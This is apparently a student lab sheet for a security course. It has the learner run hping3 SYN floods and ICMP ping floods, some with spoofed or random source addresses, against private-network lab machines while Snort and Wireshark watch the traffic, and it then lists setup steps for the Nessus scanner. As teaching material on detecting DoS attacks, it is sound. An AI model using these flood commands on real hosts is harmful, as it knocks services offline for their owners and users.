12.	A	Imagine you are the network security administrator for a medium-sized e-commerce company that operates an online store handling sensitive customer information. Recently, there have been reports of intermittent service disruptions and slow response times on your company's website, resulting in customer complaints and loss of revenue. After conducting initial investigations, you suspect that the website may be experiencing denial-of-service (DoS) attacks, specifically SYN floods and Ping flood attacks. So, it is important for organizations to have response plans in place to mitigate the impact of DoS attacks on their operations. Use **Hping3**, kali Linux tool to perform SYN floods and ping flood attacks to launch DOS attack on the target machine ping 192.168.62.133 Start capturing ICMP request/reply from wireshark. Once you capture and can notice in wireshark analyzer, the ICMP packet request and ICMP packet reply. sudo apt-get install snort -y. and keep the IDS ready for observing the packet transfer by using below command. sudo snort -A console -c /etc/snort/snort.conf Then in Kali linux machine run the hping2 tool commands. And observe ubuntu snort output and wireshark Analyzer ouput for the flood of packets. a. sudo hping3 -1 -c 1 192.168.62.133 b. sudo hping3 -1 -c 1 -i 5 192.168.62.133 c. sudo hping3 -1 --faster 192.168.62.133 d. sudo hping3 -1 --faster 192.168.62.133 e. sudo hping3 -1 -a 192.168.62.139 192.168.62.133 f. sudo hping3 -1 –rand-source 192.168.62.133 **Tcp 3 way handshake** For Syn Flood Attack , use below commands Ensure Kali Linux and Metaspoiltable2 are up and running.. In kali linux browser, type metaspoiltable 2 IP to launch DVWA application, login. a. sudo hping3 -S -c 1 -p 80 192.168.62.129 b. sudo hping3 -S -c 1 -p 80 -i 5 192.168.62.129 c. sudo hping3 -S --flood -p 80 192.168.62.129
	B	Imagine you are working as a cybersecurity an **nessus** **Nessus tool for vulnerability scanner** https://www.tenable.com/products/nessus/nessus-essentials 1. Download Nessus packag Debian on website and make sure you set Platform to Linux-Debian-amd64. 3. Install Nessus using this command: sudo dpkg -i Nessus-10.4.1-debian9_amd64.deb 4. Start the Nessus service with this command: sudo systemctl start nessusd.service 5. On your browser, go to https://kali:8834/. 7. Choose the Nessus Product you prefer., click on Nessus Essentials. 8. Enter your name and email address to receive an activation code by email. Paste the activation code into the space provided and choose a username and password. 9. Allow Nessus to download the necessary plugins. 10. Once the plugin downloads have completed, you can start using the Nessus service. **Passwd Change** /opt/nessus/sbin/nessuscli chpasswd shubha After installing the required plugins, navigate to the 'newscan' module. Enter the IP address **Systemctl start nessusd.service** **https://kali:8834 in the browser.**